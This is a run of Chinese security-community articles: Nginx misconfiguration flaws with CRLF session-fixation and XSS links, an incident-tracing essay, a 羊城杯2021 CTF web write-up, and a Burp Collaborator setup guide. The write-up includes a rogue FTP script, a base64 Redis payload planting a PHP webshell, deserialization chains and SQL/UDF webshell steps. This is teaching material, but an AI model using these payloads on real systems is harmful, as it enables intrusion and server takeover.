对于低版本的`php`能够直接解析成功，高版本`php`因为引入了`security.limit_extensions`，限制了可执行文件的后缀，默认只允许执行`.php`文件，这里来看看两个与`Nginx`解析漏洞相关的核心配置
**核心配置：cgi.fix_pathinfo**
该选项位于配置文件`php.ini`中，默认值为`1`，表示开启。当`php`遇到文件路径`/aaa.xxx/bbb.yyy/ccc.zzz`时，若`/aaa.xxx/bbb.yyy/ccc.zzz`不存在，则会去掉最后的`/ccc.zzz`，然后判断`/aaa.xxx/bbb.yyy`是否存在，若存在，则把`/aaa.xxx/bbb.yyy`当做文件`/aaa.xxx/bbb.yyy/ccc.zzz`解析，若`/aaa.xxx/bbb.yyy`仍不存在，则继续去掉`/bbb.yyy`，以此类推。若是关闭该选项，访问
`http://192.168.43.13/test/test.jpg/x.php`
只会返回找不到文件。但关闭该选项很可能会导致一些其他错误，所以一般是开启的
**核心配置：security.limit_extensions**
在我的配置文件中，它位于`/etc/php-fpm.d/www.conf`中
这个选项开始是被注释了的也就是默认只允许执行`php`文件，将`;`去掉，可以在后面添加其它后缀，比如添加`.jpg`这样`.jpg`文件也能够以`php`来执行，修改了后需要`service
php-fpm restart`重启`php`
执行效果
或者将`.php`删除，也就是`security.limit_extensions`后面留空，这样就是允许任意格式的文件执行
执行效果
**修复方法：**
1.将`php.ini`文件中的`cgi.fix_pathinfo`的值设为`0`
2.将`security.limit_ectensions`后面的值设为`.php`
# 目录遍历
**漏洞简介：**
和Apache目录遍历一样属于配置错误，可导致源码泄露与目录遍历
**漏洞复现：**
访问`test`目录
**核心配置：**
修改`/usr/local/nginx/conf/nginx.conf`,在如下图位置添加`autoindex on`，默认是没有这一行的
然后访问`test`目录，成功实现目录遍历
**修复方法：**
将`autoindex on`改为`autoindex off`
# 目录穿越
**漏洞简介：**
`Nginx`在配置别名(Alias)的时候,如果忘记加`/`,将造成一个目录穿越漏洞
**配置不当：**
在如下配置中设置目录别名时`/test`配置为`/home/`的别名,那么当我们访问`/test../`时,`nginx`实际处理的路径时`/home/../`,从而实现了穿越目录
**漏洞复现：**
**修复方法：**
将`Nginx`配置文件中的`/test`改为`/test/`(闭合)
# CRLF注入
**漏洞简介：**
我对这个漏洞也不是特别了解，所以我还是看看基本定义和利用吧
`CRLF`是“回车+换行”（`\r\n`）的简称，其十六进制编码分别为`0x0d`和`0x0a`。在`HTTP`协议中，`HTTP
header`与`HTTP`
`Body`是用两个`CRLF`分隔的，浏览器就是根据这两个`CRLF`来取出`HTTP`内容并显示出来。所以，一旦我们能够控制`HTTP`消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话`Cookie`或者`HTML`代码。`CRLF`漏洞常出现在`Location`与`Set-cookie`消息头中。
**漏洞复现：**
(1)通过`CRLF`注入构造会话固定漏洞
固定会话漏洞：
如果注册前有一个`session id`为某个值，注册后发现自己的`session id`还是为这个值就极有可能存在固定会话漏洞
下面举一个固定会话漏洞利用的例子：
假如有一个网站，你注册了一个账号，注册之前抓包`PHPSESSID =
ghtwf01`，注册成功后发现`PHPSESSID`依然为`ghtwf01`，此时是普通用户权限
这个时候就可以社工管理员点击某个链接，比如`http://xxx/?PHPSESSID=ghtwf01`，这个时候你的账户权限就会变为管理员权限(类似于CSRF)
`CRLF`注入怎么构造会话固定漏洞呢？
构造链接：`http://10.23.88.137%0aSet-Cookie:sessionid=ghtwf01`
给管理员点击即可
(2)通过`CRLF`注入消息头引发反射型`XSS`漏洞
构造链接：`http://10.23.88.137%0d%0a%0d%0a<script>alert(/xss/);</script>`
**修复方法：**
只需过滤掉`\r` 、`\n`之类的换行符就可
# 参考链接
<https://blog.csdn.net/qq_32434307/article/details/79480036>
<https://article.itxueyuan.com/1DoQ31>
<https://blog.csdn.net/liuhuaijin/article/details/77449579>
<https://www.cnblogs.com/0x4D75/p/9790281.html> | 社区文章 |
# 浅谈溯源思维
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
现在大环境下的趋势的导向，疫情期间的影响当发现病毒之时，通过各种手段层层筛查，最终找到源头进行控制或者消灭；
那么在网络攻坚战的时候，攻击溯源作为安全事故中事后响应的重要组成部分，通过对受害资产与内网流量进行分析一定程度上还原攻击者的攻击路径与攻击手法，有助于修复漏洞与风险避免二次事件的发生。攻击知识可转换成防御优势,如果能够做到积极主动且有预见性，就能更好地控制后果。
## 思路
在溯源的过程除开相关的技术手段之外，需要确认一个整体的思路。对异常点进行一个整体的分析并根据实际环境给出几种可能的方案，俗话说的好，有备无患嘛。将经常出现的问题，可能出现的错误点进行深度剖析不断进行设计和改进。还有一些检测设备的部署，常规出现的、容易被用户感知的异常点举例如下：
网页被篡改、被挂上了黑链、web文件丢失等
数据库被篡改、web系统运行异常影响可用性、web用户密码被篡改等
主机出现运行异常反应卡顿、文件被加密、主机系统出现其他用户等
主机流量层出现大量异常流量
根据用户现场的情况往往还需要做一些信息收集的工作比如，出现异常的时间点(非常重要)、异常服务器的主要业务情况、大致的一个网络拓扑是不是在DMZ区、是否可以公网访问、开放了那些端口、是否有打补丁、使用了怎么样的一个web技术、最近是否做过什么变更、有没有什么安全设备之类的。
根据收集到的信息，往往可以得出了几种可能。漏洞很多有些漏洞开发未能及时修复，是否应该规避风险，采取何种策略；一个web服务器公网可以访问出现了被挂黑链的事件使用框架类，那么初步可以怀疑是命令执行漏洞了；如果一台公网服务器没有安装补丁又没有防火墙防护，administrator的密码为P@sswrod那么有很大的可能性是被暴力破解成功；后面的工作主要就是收集各种资料证明这一猜想即可。
## web系统
一般web类的安全事件在web日志当中一般都能发现一些端倪，清除日志这种事情毕竟不是每个黑客都会干。
常见几个中间件的日志如下：
apache的日志路径一般配置在httpd.conf的目录下或者位于/var/log/http
IIS的日志默认在系统目录下的Logfiles下的目录当中
tomcat 一般位于tomcat安装目录下的一个logs文件夹下面
Nginx日志一般配置在nginx.conf或者vhost的conf文件中
日志一般以日期命名，方便后续审计与安全人员进行分析。
工欲善其事必先利其器，一般日志量都比较大。互联网上还是有很多的日志检测工具，个人不是很喜欢用主要工具还是notepad++ 和Sublime
Text跟进收集的信息比如时间点这种情况，对时间点前后的请求日志进行分析，一般都都能发现一些异常。
为了方便的识别一些日志，github也有很多开源项目有专门去日志中找安全相关攻击的、或者是统计的。因为现在很多扫描器也比较多，一检查往往也会发现很多无效的攻击，筛选起来反而感觉更麻烦。
推荐一个小工具：web-log-parser为开源的分析web日志工具，采用python语言开发，具有灵活的日志格式配置。优秀的项目比较多，实在不行就自己定义好规则搞一个。
连接如下：<https://github.com/JeffXue/web-log-parser>
在处理一些访问访问、网页更改的时候、上传路径、源IP之类的信息都能够较好的收集。通过对一些关键路径的识别，结合一定的信息往往都能定位到入口点。
常见的一些入口点举例如下：
一些CMS的EXP，比如Discuz Empire Spring 之类的一些命令执行、权限绕过逻辑漏洞等因为比较通用，网上很多都是公开的所以涉及面相对较广。
编辑器的上传漏洞，比如知名的FCK编辑器、UEditor之类。
功能性上传过滤不严格，比如头像上传资料上传界面一些过滤严格导致的上传漏洞。
Web系统的弱口令问题 admin账户、或者是tomcat的manager用户弱口令 、Axis2弱口令用户、Openfire弱口令等等
同时web系统往往容易存在一些webshell的情况，经常在一些上传目录里面找到一些webshell、明明是个JSP的网页还出现了一个php的一句话。一般需要重点关注一下。推荐用D盾对web系统的目录进行扫描。
扫描出来的webshell时间上传时间、文件创建时间、文件修改时间往往准确性都比较高，一般不会去更改这个时间，用来在日志当中排查就相对容易的多。
## 主机系统
以前一直觉得一些蠕虫病毒都挺逗的很多传播方法居然只是依靠暴力破解和MS17-010之类的漏洞传播，感觉波及面应该比较小后面才发现这个方法简单粗暴反而最有效。
对于Linux平台相对安全性偏高一些，常见的几个病毒如XorDDOS、DDG、XNote系列的普遍也是依靠暴力破解进行传播，溯源的过程中也重点考虑暴力破解。
常用的一些日志举例如下：
var/log/auth.log 包含系统授权信息，包括用户登录和使用的权限机制等信息
/var/log/lastlog 记录登录的用户，可以使用命令lastlog查看
/var/log/secure 记录大多数应用输入的账号与密码，登录成功与否
/var/log/cron 记录crontab命令是否被正确的执行
grep,sed,sort,awk几个命令灵活运用、关注Accepted、Failed password
、invalid特殊关键字一般也能轻松发现一些端倪如下：
经常一些攻击者忘记清除日志，就很方便能查看详细了；一个history命令，黑客的操作就一目了然。当然了一些脚本执行完了之后往往最后会清除日志比如下面这样的往往就加大了难度，日志被清除了往往就更显得异常了。可以重点看一下还剩下那些日志、或者关注一下网络层面是不是还有其他的安全设置可以在流量层进行溯源分析的。源于Linux一切皆文件与开源的特性，在溯源的过程中也有好处也有坏处，rootkit就是最麻烦的一件事情了。由于系统一些常用的命令明文都已经被更改和替换，此系统已经变得完全不可信，在排查溯源的过程中往往不容易发觉对安全服务的人员就有较高的技术要求了。Windows平台下面的溯源就相对容易一些当然主要还是依靠windows的日志一般用
eventvwr命令打开事件查看器。默认分为三类：应用程序、安全、性统
以evt文件形式存储在%systemroot%\system32\config目录；合理使用筛选器往往可以帮助我们更好的排查日志，比如怀疑是暴力破解入侵的筛选事件ID
==
4625审核失败的日志，后续通过对时间的排查、以及源IP地址、类型与请求的频率进行分析来判断是否是来源于内网的暴力破解通过系统内部的日志来判断是否是恶意进程的运行状态，对logontype的数值确认就可以确认到底是通过什么协议进行暴力破解成功的；相对的数值关系如下：
local WINDOWS_RDP_INTERACTIVE = “2”
local WINDOWS_RDP_UNLOCK = “7”
local WINDOWS_RDP_REMOTEINTERACTIVE = “10”
local WINDOWS_SMB_NETWORK = “3”
Windows系统的补丁相对重要一些，一些关键的补丁没有打很容易遭受到攻击成功的事件。重点就关注一些常见的比如ms17-010 ms08-067
ms16-032等安全补丁都是内网渗透常用的攻击包。可以通过sysintemfo可以查看到当前系统当中已经安装的补丁。此外windows下面还包括很多域控的安全日志，因为内容太多就不再展开叙述，溯源主要还是想还原攻击路径，通过windows日志搞明白访问关系攻击者的攻击链条，给用户一个交代就好。
## 其他常用系统
数据库系统也是攻击者入口点的一些重灾区，常见的比如msssql
server由于数据往往在window环境下安装后具有较高的权限，一些用户经常安装完成之后也不会怎么去加固数据库，基于库站分离的原则很多mssql公网直接就可以访问访问控制策略比较弱，弱口令的问题尤为突出。
比如下对于mssql的sa用户暴力破解日志，里面也记录着客户端的IP地址如果没有配置相关的锁定策略在密码不够严格的情况下容易被攻陷。攻击者爆破成功之后启动xp_shell往往就可以以高权限执行系统命令，拿到了一个windows的shell岂不是为所欲为。Linux平台下面还有一个redis也很热门，就一个几年的默认安装后的未授权访问的问题却流传的相对广泛。比如最近一段事件相对比较热门的DDG挖矿、WatchDog挖矿等病毒都主要利用redis未授权访问执行命令，从互联网拉取挖矿程序写入ssh的公钥等功能。看见本地开放了6379端口的时候还是需要重点关注这个问题，多向用户咨询一下使用情况查看一下默认配置。还有一些常用的系统比如mysql数据库暴力破解提权一套装、未授权访问漏洞、钓鱼邮件、破解软件后门、恶意的office宏、office的代码执行漏洞、邮箱缺陷、VPN配置缺陷等情况都可能是攻击者的入口点具体情况需要结合用户当前的情况具体进行排查。
# 总结
都说安全本质到最后就是人与人之间的一个较量，近年来蜜罐产品的兴起使得防守方由被动变成主动的位置转换，蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的安全防护能力。需要具有一定套路的防御方式去尽可能消耗掉有限的攻击资源，逼迫攻击者使用真实IP，方便我们对业务进行防御，并追溯到攻击者的身份。站在攻防的角度从攻击者的思维模型去，思考更多的攻击者可能的途径，消灭防守方在攻防对抗中信息不对称劣势，制造针对攻击方信息不对称的优势。经常利用的姿势、漏洞与常用的攻击手法再用数据去加以验证，不局限在已知漏洞中而放过其他的问题，如果能够做到积极主动且有预见性，就能更好地控制后果。 | 社区文章 |
# 羊城杯2021-web-wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Cross The Side
考察：Laravel cve
之前用之前的cve没有打通，可能是php.ini里面的配置文件大小不一样。
<https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/>
<https://www.freebuf.com/articles/network/286132.html>
看这个文章直接利用file_put_concent打ftp服务然后打内网的9000端口，这里自己测试了一下9000端口应该不是。
那就是打redis 6379。
所以思路就是我们自己搭建一个ftp服务。通过被动代理去发送数据。
所以恶意的ftp.py，来自网上。。。。
import socket
def get(conn):
conn.send("220 (vsFTPd 3.0.3)\n")
print conn.recv(200)
conn.send("331 Please specify the password.\n")
print conn.recv(200)
conn.send("230 Login successful.\n")
print conn.recv(200)
conn.send("200 Switching to Binary mode.\n")
print conn.recv(200)
conn.send("213 3\n")
print conn.recv(200)
conn.send("229 Entering Extended Passive Mode (|||1337|)\n")
print conn.recv(200)
conn.send("150 Opening BINARY mode data connection for /test/test.php (3 bytes).\n")
conn.send("226 Transfer complete.\n")
print conn.recv(200)
conn.send("221 Goodbye.\n")
conn.close()
def put(conn):
conn.send("220 (vsFTPd 3.0.3)\n");
print conn.recv(20)
conn.send("331 Please specify the password.\n");
print conn.recv(20)
conn.send("230 Login successful.\n")
print conn.recv(20)
conn.send("200 Switching to Binary mode.\n");
print conn.recv(20)
conn.send("550 Could not get file size.\n");
print conn.recv(20)
conn.send("227 127,0,0,1,0,6379\n")
print conn.recv(20)
conn.send("227 127,0,0,1,0,6379\n")
print conn.recv(20)
conn.send("150 Ok to send data.\n")
conn.send("226 Transfer complete.\n")
print conn.recv(20)
conn.send("221 Goodbye.\n");
conn.close()
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
get(conn)
conn,address=sk.accept()
put(conn)
import socket
import base64
host = '0.0.0.0'
port = 1337
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
conn.send(base64.b64decode("KjENCiQ4DQpmbHVzaGFsbA0KKjMNCiQzDQpzZXQNCiQxDQoxDQokMzQNCgoKPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+CgoNCio0DQokNg0KY29uZmlnDQokMw0Kc2V0DQokMw0KZGlyDQokOA0KL3Zhci93d3cNCio0DQokNg0KY29uZmlnDQokMw0Kc2V0DQokMTANCmRiZmlsZW5hbWUNCiQ5DQpzaGVsbC5waHANCioxDQokNA0Kc2F2ZQ0KCg=="))
conn.close()
生成我们的payload，在进行base64加密
直接getflag
## 非预期Only 4
代码审计
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
$YCB = unserialize($ycb);
}else{
echo "what are you doing";
}
?>
发现存在有一个文件包含可以控制，那我们去读一下文件？
发现存在/proc/self/fd/8里面是日志，所以我们直接文件包含getshell。但是因为自己没有写好代码导致不能使用。那么正常解呢？
## 预期Only 4
index.php
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
$YCB = unserialize($ycb);
}else{
echo "what are you doing";
}
?>
盲猜了一个serialize.php，用gwht去读
http://192.168.40.239:8000/?gwht=php://filter/read=convert.base64-encode/resource=serialize.php
base64解码后得到serialize.php的源码
链子很简单，和前几天成理招新赛不能说一模一样，只能说完全一致了
//POC
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new Call();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new funct();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new func();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new string1();
}
}
class string1
{
public $str1;
public $str2;
public function __construct()
{
$this->str1=new GetFlag();
}
}
class GetFlag
{
public function get_flag()
{
echo highlight_file('secret.php');
}
}
$a = new start_gg();
echo urlencode(serialize($a));
?>
链子很简单，和前几天成理招新赛不能说一模一样，只能说完全一致了
另外`$url = parse_url($_SERVER['REQUEST_URI'])`可以在path中加入`/`来绕过
<https://www.xmsec.cc/n1ctf-web-review/#funning-eating-cms>
最终的poc为
http://192.168.40.239:8000///index.php?gwht=serialize.php&ycb=O%3A8%3A%22start_gg%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A4%3A%22Call%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A5%3A%22funct%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A4%3A%22func%22%3A2%3A{s%3A4%3A%22mod1%22%3BO%3A7%3A%22string1%22%3A2%3A{s%3A4%3A%22str1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A{}s%3A4%3A%22str2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}s%3A4%3A%22mod2%22%3BN%3B}
到最后一层secret.php
<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
echo shell_exec($_GET['SXF']);
}
4字符RCE，可以参考陆队这篇文章
<https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/#Example-3-%E5%9B%9B%E5%AD%97%E7%BB%95%E8%BF%87-HITCON-2017-BabyFirst-Revenge-v2>
本来是想弹个shell出来，结果一直打不通，一直卡到晚上，容器都重启了两遍
最后因为这里是有回显的，没必要执着于弹shell，直接用这个trick
本地实验完之后，第二次重置容器后直接全盘读取，然后再搜SangFor
>cat
* /*
这里简单的说一下其实后面的思路和自己之前出的题差不多。
<https://github.com/Firebasky/ctf-Challenge/blob/main/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C2020.8.11-ctfshow%E7%BA%A2%E5%8C%85%E9%A2%98-nl.md>
## Checkin_Go
考察：伪随机数
<https://github.com/EddieIvan01/secure-cookie-faker>
发现下面函数每次生成是一样，
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
key我们在通过faker工具处理的时候使用$(printf’\x’) 之前华为xctf 考察过
./secure-cookie-faker enc -n "o" -k "$(printf '\x52\xfd\xfc\x07\x21\x82\x65\x4f\x16\x3f\x5f\x0f\x9a\x62\x1d\x72')" -o "{checkPlayerMoney[string]: OmHQ8pB2diwXKx3RMhJJUw[string],hsh[string]: 0a7610[string],nowMoney[string]: 200000[int],checkNowMoney[string]: JkeLNs0tAng7rDdgtr1nDQ[string],uname[string]: admin[string],playerMoney[string]: 5000[int]}"
{checkPlayerMoney[string]: OmHQ8pB2diwXKx3RMhJJUw[string],hsh[string]: 0a7610[string],nowMoney[string]: 200000[int],checkNowMoney[string]: JkeLNs0tAng7rDdgtr1nDQ[string],uname[string]: admin[string],playerMoney[string]: 5000[int]}
然后登录成功一次一次的添加钱发现存在一个溢出。溢出成功，之后直接buy
## NO SQL
考察：NO SQL注入
安全客原文章：[https://www.anquanke.com/post/id/241113#h3-6，相当于复现一下题23333。](https://www.anquanke.com/post/id/241113#h3-6%EF%BC%8C%E7%9B%B8%E5%BD%93%E4%BA%8E%E5%A4%8D%E7%8E%B0%E4%B8%80%E4%B8%8B%E9%A2%9823333%E3%80%82)
注入获得token，之后修改密码进行登录。
在其中写入一句话，然后蚁剑连接。
在执行命令的时候发现不了，然后就使用ffi bypass df ，寻找flag。在根目录下有flag,不过没有权限。
本来想在tmp下上传脚本提权的，然后发现在/tmp目录下有奇奇怪怪的文件试一试找flag。果然。。。。。
不过提权，在ctf中可能只是suid和path这些提权了吧。没有成功。。。
## Curl
给了common.php文件，然后在扫描一下发现有app,于是查看。
发现密码，直接登录。。之后并没有利用点，就去测试admin.php,就一个反序列化漏洞点，所以需要我们pop..
然后就在common.php里面寻找pop。
<?php
class User
{
public $username;
public $session_id='1';
public function __construct($username)
{
$this->username=$username;
}
}
class cache_parser{
public $user;
public $default_handler;
public $logger;
public function __construct($cache_parser,$url)
{
$this->user = new User('');
$this->logger = $cache_parser;
$this->default_handler = new file_request($url);
}
}
class file_request{
public $url;
public function __construct($url)
{
$this->url=$url;
}
}
$exp = new User(
new cache_parser(
new cache_parser('','file:///etc/passwd'),
''));
echo (serialize($exp));
直接看一下调用栈吧
common.php:208, file_request->request()
common.php:224, file_request->__invoke()
common.php:158, cache_parser->__call()
common.php:173, cache_parser->write_log()
common.php:173, cache_parser->save_user_info()
common.php:149, cache_parser->__toString()
common.php:29, User->__wakeup()
common.php:251, unserialize()
common.php:251, {main}()
之后就是读config.php文件,存在mysql然后大概就是写shell了。通过ssrf协议去写shell.
select '<?php @eval($_POST[1])?>' into outfile '/var/www/html/1.php'
发现写入不了。。。
其他思路，前几天我们省赛有一个udf提权的，于是来试一试。
<https://blog.csdn.net/qq_33020901/article/details/78827375>
<https://www.sqlsec.com/tools/udf.html>
create function sys_eval returns string soname 'udf.so';
之后就执行命令。。直接获得flag
## Shop System
java
之前一直心心念念的期待java题，结果这次啥都没有，思路都没有，功能点也少源代码也没用感觉更像是《渗透》
只是github上找到了一部分源代码。<https://github.dev/NiceSeason/gulimall-learning>
然后就审啊审的。。。。。。。不会了。。
## 总结
java太难了。。。。。。。 | 社区文章 |
原文：<https://blog.fabiopires.pt/running-your-instance-of-burp-collaborator-server/>
在本文中，我们将为读者介绍如何搭建自己的Burp
Collaborator服务器。读者也许会问，难道它们没有提供官方指南吗？哈哈，但凡亲自动过手的读者就会知道，如果以它为指导的话，安装过程还是会遇到许多麻烦，所以我决定将自己的搭建过程详细记录下来，希望对读者有所帮助。
**Burp Collaborator简介**
* * *
在本文中，我们将为读者详细介绍如何在VPS上配置Burp
Collaborator服务器，并且让它支持通配符型SSL证书。同时，我们还会介绍如何配置DNS服务器，这样，我们就可以使用自定义子域了。
Burp Collaborator是一种外部服务，在使用Burp时，可以借助该服务来发掘各种安全漏洞。例如:
* 当应用程序根据外部系统提供的输入与外部系统进行交互时，就会出现一些漏洞。例如，当应用程序从request参数指定的URL中获取内容并在其自己的响应中返回未经处理的内容时，就可能出现带外XSS漏洞。
* 对于某些基于注入的漏洞来说，当成功实现注入后，有效载荷就会触发与外部系统的交互，我们可以据此检测这种类型的漏洞。例如，某些SQL盲注漏洞虽然不会导致应用程序响应的内容或时间发生任何变化，但我们仍然可以使用有效载荷来检测这些漏洞，因为这些有效载荷在注入SQL查询时会引发外部交互。
* 通过向目标应用程序提交针对这些服务的有效载荷，并深入分析有效载荷与该服务的协作实例产生的交互信息，就可以检测到与特定服务相关的漏洞。例如，可以通过这种方式检测邮件标题注入。
**准备工作**
* * *
* VPS，我是从这里购买的。
* 域名。
* LetsEncrypt。
* Burp Suite Pro。
**搭建环境**
* * *
**搭建VPS**
* * *
好的，让我们首先安装java，最简单的方法就是直接使用Debian系统打包的版本。具体来说，我们需要安装OpenJDK 8，因为这是最新的推荐版本。
首先，需要通过下列命令来更新包索引。
sudo apt-get update
接下来，安装Java。准确地说，是安装Java运行时环境（JRE）。
sudo apt-get install default-jre
然后，安装iptables-persistent。
sudo apt-get install iptables-persistent
安装好上述软件后，接下来需要创建一个工作目录，并将burpsuite _pro_ <latest_version>.jar
上传到该目录中。</latest_version>
sudo mkdir -p /usr/local/collaborator/
从现在开始，我们假定您已经将burpsuite _pro_
<latest_version>.jar上传至/usr/local/collaborator/。实际上，即使没有Burp许可证，读者也照样可以运行Burp
Collaborator。</latest_version>
接下来，创建一个系统用户来运行该服务器。注意，一定要对该用户的权限加以限制，以防止它以root身份运行Collaborator服务器：
sudo adduser --shell /bin/nologin --no-create-home --system collaborator
将/usr/local/collaborator的属主改为collaborator：
sudo chown collaborator /usr/local/collaborator
**配置Collaborator服务器**
* * *
在继续下面的操作之前，请先在系统上运行ifconfig命令，以获取服务器的IP地址：
root@collaborator:/usr/local/collaborator# ifconfig
ens3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 54.38.**.** netmask 255.255.255.255 broadcast 54.38.**.**
ether aa:bb:cc:dd:ee:ff txqueuelen 1000 (Ethernet)
RX packets 1751433 bytes 1655333949 (1.5 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1266913 bytes 1302210556 (1.2 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
创建配置文件nano
/usr/local/collaborator/collaborator.config，该文件的内容如下所示（注意编辑突出显示的部分）：
{
"serverDomain" : "my-subdomain-for-burp.example.com", # edit here
"workerThreads" : 10,
"eventCapture": {
"localAddress" : [ "54.38.**.**" ], # and here
"publicAddress" : "54.38.**.**", # and here (yeah, same ip..)
"http": {
"ports" : 3380
},
"https": {
"ports" : 33443
},
"smtp": {
"ports" : [3325, 33587]
},
"smtps": {
"ports" : 33465
},
"ssl": {
"certificateFiles" : [
"/usr/local/collaborator/keys/privkey.pem",
"/usr/local/collaborator/keys/cert.pem",
"/usr/local/collaborator/keys/fullchain.pem" ]
}
},
"polling" : {
"localAddress" : "54.38.**.**", # and here
"publicAddress" : "54.38.**.**", # and here
"http": {
"port" : 39090
},
"https": {
"port" : 39443
},
"ssl": {
"certificateFiles" : [
"/usr/local/collaborator/keys/privkey.pem",
"/usr/local/collaborator/keys/cert.pem",
"/usr/local/collaborator/keys/fullchain.pem" ]
}
},
"metrics": {
"path" : "jnaicmez8",
"addressWhitelist" : ["0.0.0.0/1"]
},
"dns": {
"interfaces" : [{
"name":"ns1.my-subdomain-for-burp.example.com", # and here
"localAddress":"54.38.**.**", # and here
"publicAddress":"54.38.**.**" # and here
}],
"ports" : 3353
},
"logLevel" : "INFO"
}
注意：这里要求所有端口号都必须高于1024，只有这样，Burp
Collaborator才能在没有root权限的情况下绑定它们。稍后，我们将利用iptables命令来解决这个问题。
**设置通配符型SSL证书**
* * *
自2018年3月起，Let's Encrypt就宣布支持免费的通配符型SSL证书。为了安装最新版本的Let's Encrypt，请执行以下命令：
cd /usr/local/collaborator/
wget https://dl.eff.org/certbot-auto
chmod a+x ./certbot-auto
现在，让我们来创建一个bash脚本，让它帮我们完成将证书移动到正确位置并安排权限的工作：
sudo nano /usr/local/collaborator/configure_certs.sh
然后编辑其内容，具体如下所示:
#!/bin/bash
CERTBOT_DOMAIN=$1
if [ -z $1 ];
then
echo "Missing mandatory argument. "
echo " - Usage: $0 <domain> "
exit 1
fi
CERT_PATH=/etc/letsencrypt/live/$CERTBOT_DOMAIN/
mkdir -p /usr/local/collaborator/keys/
if [[ -f $CERT_PATH/privkey.pem && -f $CERT_PATH/fullchain.pem && -f $CERT_PATH/cert.pem ]]; then
cp $CERT_PATH/privkey.pem /usr/local/collaborator/keys/
cp $CERT_PATH/fullchain.pem /usr/local/collaborator/keys/
cp $CERT_PATH/cert.pem /usr/local/collaborator/keys/
chown -R collaborator /usr/local/collaborator/keys
echo "Certificates installed successfully"
else
echo "Unable to find certificates in $CERT_PATH"
fi
**获取证书**
* * *
下一步是创建SSL证书，具体命令如下所示：
./certbot-auto certonly -d my-subdomain-for-burp.example.com -d *.my-subdomain-for-burp.example.com --server https://acme-v02.api.letsencrypt.org/directory --manual --agree-tos --no-eff-email --manual-public-ip-logging-ok --preferred-challenges dns-01
然后按照命令的提示进行操作（它会要求您提供自己的电子邮件）。
之后，我们将看到第一条消息，该消息是关于如何重播DNS TXT记录的。按Enter键，这时会看到第二条消息：
------------------------------------------------------------------------------- Please deploy a DNS TXT record under the name
_acme-challenge.my-subdomain-for-burp.example.com with the following value:
YKoOF0jc6wqZJLUIhF3YQJ8MzyWWfkT3weW24_8hhBU
Before continuing, verify the record is deployed.
------------------------------------------------------------------------------- Press Enter to Continue (Press enter here, we are expecting two different TXT records)
------------------------------------------------------------------------------- Please deploy a DNS TXT record under the name
_acme-challenge.my-subdomain-for-burp.example.com with the following value:
s10-sRD0KPJfFujYl5_ql6TEQkwkVppLZLW45ITK-d4
Before continuing, verify the record is deployed.
------------------------------------------------------------------------------- Press Enter to Continue
既然要设置两个TXT记录，所以请转至DNS服务器的/cloudflare，并配置两个记录（使用相同的名称：“_acme-challenge.my-subdomain-for-burp”）。
将DNS域委托给VPS
现在，按Enter键，这时将看到下列内容：
Waiting for verification...
Cleaning up challenges
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
...
好了，证书已经到手了。下面我们来安装证书，命令如下所示：
chmod +x /usr/local/collaborator/configure_certs.sh && /usr/local/collaborator/configure_certs.sh my-subdomain-for-burp.example.com
下面，我们来看看安装是否正确无误：
sudo -H -u collaborator bash -c "java -Xms10m -Xmx200m -XX:GCTimeRatio=19 -jar /usr/local/collaborator/burpsuite_pro_1.7.33.jar --collaborator-server --collaborator-config=/usr/local/collaborator/collaborator.config"
2018-04-08 19:46:36.082 : Using configuration file /usr/local/collaborator/collaborator.config
2018-04-08 19:46:37.473 : Listening for DNS on 54.38.**.**:3353
2018-04-08 19:46:37.486 : Listening for HTTP on 54.38.**.**:39090
2018-04-08 19:46:37.486 : Listening for SMTP on 54.38.**.**:3325
